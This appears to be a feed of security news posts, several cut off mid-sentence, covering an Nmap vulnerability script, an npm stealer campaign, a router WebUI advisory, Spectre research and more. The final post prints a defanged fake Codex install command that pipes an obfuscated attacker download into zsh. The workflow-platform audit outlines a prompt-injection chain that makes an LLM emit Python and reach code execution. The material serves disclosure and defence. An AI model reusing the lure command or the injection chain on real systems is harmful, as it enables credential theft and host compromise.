The familiar `vulners.nse` that many of you have used like this: `nmap -sV --script vulners <target>` finally got a proper update. It still does the same basic job: take what Nmap finds on a port and show the known vulnerabilities. But v2.0 is much better at it: * better software/version detection, including web apps and raw banners * 700+ fingerprint rules and 900+ HTTP paths * parallel probing that follows Nmap timing settings * cleaner output and proper machine-readable results * findings ranked by real-world risk: KEV, active exploitation, exploits, EPSS, then CVSS And the normal usage is still free, with no account or API key required. [https://github.com/vulnersCom/nmap-vulners/](https://github.com/vulnersCom/nmap-vulners/) Feedback on weird banners, false positives and missed fingerprints is very welcome.

Forty npm packages. About 84 minutes on the registry. And a payload that kept going after the packages were gone. CloudSEK traced **BRIDGEHEAD**, a typosquatting campaign impersonating chalk, axios, lodash, react, typescript and commander. The clever bit: the install script detects **WSL and uses it as a path into the underlying Windows host**, where it launches a native payload targeting crypto wallets, Chromium browser data and Telegram sessions. The GitHub-hosted payload stayed live for roughly **39 hours after the npm packages were taken down**. So the npm takedown removed the delivery layer, not the weapon. Full technical breakdown, IOCs and attack chain: [https://www.cloudsek.com/blog/bridgehead-npm-typosquatting-wsl-windows-crypto-wallet-stealer](https://www.cloudsek.com/blog/bridgehead-npm-typosquatting-wsl-windows-crypto-wallet-stealer) Would be interested to hear how many teams actually monitor the **WSL → Windows boundary** as part of their developer security controls.

I’ve been working on an open-source network-flow detection project and one thing became pretty obvious fairly early: getting a classifier to produce decent scores is not really the hard part. The harder question is what an analyst is supposed to do with thousands of individual detections. So I kept the project going past the model itself. The current pipeline takes CICFlowMeter-compatible flows, scores them, groups related alerts into incidents, and only promotes the incidents that cross a second threshold. On the locked future-day holdout, 79,710 flow alerts became 12,911 promoted incidents while keeping 99.93% incident recall. I’m deliberately not calling it production-ready. The holdout is still from the same network/dataset family, and the remaining workload is higher than I’d want for a real SOC queue. What I’m interested in now is how this kind of approach behaves outside the environment it was built around. Repo: [https://github.com/ibondarenko1/security-anomaly-ml](https://github.com/ibondarenko1/security-anomaly-ml?utm_source=chatgpt.com) If anyone here works with network-flow telemetry or ML-based IDS, I’d be interested in where you think the design will fail first in a real environment.

Since June, developers have created thousands of third-party OAuth apps on Cloudflare , with more than a million authorizations since. OAuth makes delegated access possible. It lets applications act on a user’s behalf without asking them to handle long-lived credentials or hand over a password. That model works well when an application can describe its access needs with a small set of scopes. Developers use OAuth for SaaS integrations, internal tools, CLIs, and agents. Our permission model has become more granular over time to support better scoping of these different workflows. That is great for security, but it makes a purely all-or-nothing consent screen hard to justify. Cloudflare OAuth already allows clients to request a subset of their configured scopes. But once the client made that request, the user could not narrow it any further on the consent screen. For the user on the consent screen, the experience was still an all-or-nothing one. If an application requested more access than a user was comfortable granting, their only options were to approve the full request, or deny outright. MCP servers are a good example of this. An MCP server might request a broad set of permissions, because in theory an agent could use all of them. But most users would not want an agent to have that much access. Before this feature, the only way to handle this was for the app developer to build a custom scope selection screen before sending the user to our consent flow. Today, we’re introducing OAuth scope customization. Client owners can mark specific scopes as optional when configuring an OAuth client, giving users the ability to grant a narrower subset of an application’s requested access at authorization time. The OAuth spec already allows authorization servers to grant a narrower set of scopes than wh

Most enterprises should treat annual penetration testing as a baseline, not a complete answer. PCI DSS is the one framework with an explicit annual and change-triggered mandate. SOC 2, the current HIPAA Security Rule, and ISO 27001 all expect testing to follow the organization's own risk assessment and control design, not one fixed calendar date. HHS has proposed an annual HIPAA pentesting requirement, but that rule has not been finalized. Enterprises that combine a formal annual assessment with change-triggered and continuous validation stay ahead of frameworks that were never designed around a single testing frequency.

Overview RDK Central RDK-B WebUI version, rdkb-2025q4-kirkstone, contains multiple vulnerabilities involving memory corruption, improper authentication, race conditions, and insufficient input validation. An attacker with network access to an affected WebUI may be able to bypass authentication, obtain administrative access, cause a denial-of-service condition, or corrupt memory within underlying RDK-B processes. Under certain conditions, this memory corruption may potentially be leveraged for arbitrary code execution. Description RDK-B (Reference Design Kit for Broadband) is an open-source software platform used in broadband gateways and related networking devices. The RDK-B WebUI provides a web-based interface for configuring and administering an RDK-B device. Five vulnerabilities have been identified in the RDK-B WebUI. CVE-2026-19505 JWT (JSON Web Token) authentication in javascript-templates/source/jst_functions.c does not correctly verify whether a token's cryptographic signature is valid. The application treats both a valid signature and an invalid signature as successful verification because it incorrectly checks the return value from OpenSSL's EVP_VerifyFinal() function. A remote, unauthenticated attacker can craft a JWT with an invalid signature that is still accepted by the WebUI. Successful exploitation allows the attacker to log in as the privileged user and gain administrative access to the device. CVE-2026-19506 The login process in /usr/www2/check.jst uses a shared value to store the result of password verification. Because this value is shared between multiple requests, the application may return one user's authentication result to another user's session. An unau

In 2021, we assessed remote Spectre attacks against Cloudflare Workers. Based on the results, we shipped a production defense called Dynamic Process Isolation (DyPrIs), which identifies maliciously looking scripts and isolates them into separate processes. Since then, newer techniques in the area of stabilizing Spectre attacks have been discovered. To understand if these techniques posed a threat to our Workers production environment, we decided to internally reassess the remote Spectre attack. Building an updated proof-of-concept on the production environment allowed us to empirically assess the risk of Spectre attacks under production workloads. To mount a successful side-channel attack in production, an external attacker has to overcome additional obstacles such as activity on shared hardware resources, interrupts, context switches, and coarse-grained timers. Our research uncovered a limitation in the implementation of DyPrIs and we managed to demonstrate a remote Spectre attack reliably leaking up to 12 bit/s with a 99% accuracy in the production environment of Cloudflare Workers. As a consequence of this research, we improved DyPrIs, integrated the V8 Sandbox and an in-process isolation mechanism to further reduce the risk of memory disclosure attacks. Today we are publishing a paper describing our findings, co-authored by Albert Pedersen, Haocheng Xiao, Sam Ainsworth, Nigel Topham, and Martin Schwarzl. This paper covers research done in 2024 and early 2025. Note that the presented attack is mitigated alread

Route leaks push traffic down paths it was never meant to take. We have written and spoken publicly in the past about route leaks in Border Gateway Protocol (BGP) , depicting these events as impactful incidents that cause misdirection of traffic through unintended network paths. BGP routing is driven by the relationships between Autonomous Systems (ASes), i.e., customer-provider and peer-peer. Customers pay providers for access to the rest of the Internet, while peers exchange traffic with one another typically under a “settlement-free” arrangement where no money changes hands. These relationships help define routing rules that form plausible paths. For example, the rules form a “valley-free” hierarchy of how routes should propagate: a route learned from a provider or a peer should be announced only downward to customers, never back up to another provider or peer. Rules like this express an intent or expectation about Internet routes. A route leak is what happens when that intent is violated. Historically, each network has had to implement this intent on its own, using complex, error-prone routing policies

Author here. I audited NocoBase, Flowise, Langflow, Dify, Activepieces, Kestra, and Airflow and disclosed 14 findings. Every platform inherited the same assumption anyone who can touch a workflow is trusted to run code on the host, which is fine for a dev tool on your laptop but not fine for a multi-tenant HTTP service with an unauthenticated webhook. The chain I'd point people to first is the Flowise one (section 2.2): an unauthenticated request → prompt injection → LLM emits Python → a 38-pattern regex blocklist passes it because the dangerous library was pre-imported before the model was asked anything → RCE. Two vendors closed their reports as working-as-intended, and I tried to represent their position fairly. This research was also presented at DEFCON 34 but now available publicly.

Sharing an apparent macOS malware campaign / IOC that I encountered today while searching for OpenAI Codex. A sponsored Google result led to a page impersonating Codex installation instructions. The command displayed legitimate-looking OpenAI/npm text, while the actual download URL was hidden using Base64. https://preview.redd.it/v31atwx50xjh1.png?width=1108&format=png&auto=webp&s=6cb2d317c7fd455e75c67cec9e33085cf3a888c9 **Defanged example, do not execute:** echo "npm install -g u/openai/codex https://openai.com/codex/" && curl -s $(echo "<BASE64>" | openssl base64 -d -A) | zsh The Base64 value decoded to: hxxps://quill-flint[.]com/curl/2h0w4vtm7c/7b4cckfhojxjbrcjon.json The interesting part is the delivery pattern: Sponsored search result ↓ Fake Codex installation page ↓ Legitimate-looking OpenAI text printed with echo ↓ Base64-obfuscated unrelated domain ↓ curl response piped directly into zsh I checked common persistence locations afterward and did not observe an obvious unknown LaunchAgent/LaunchDaemon or persistent executable. That makes me wonder whether this campaign is focused primarily on short-lived credential theft rather than persistence. The legitimate Codex installation on the machine was unrelated. It had been installed through Homebrew immediately beforehand and resolves to: /opt/homebrew/Caskroom/codex/0.147.0/bin/codex The binary is signed: Developer ID Application: OpenAI OpCo, LLC (2DC432GLL2) So the malicious component appears to be specifically the separately downloaded `quill-flint[.]com` shell payload. Has anyone tracking current macOS malware seen: quill-flint[.]com /curl/<id>/<id>.json or this exact Codex-themed lure? I'm particularly interested in attribution to an existing stealer family/campaign, related infrastructure, historical samples, or additional IOCs associated with this delivery chain. I can provide more sanitized timestamps and filesystem observations if useful for analysis.
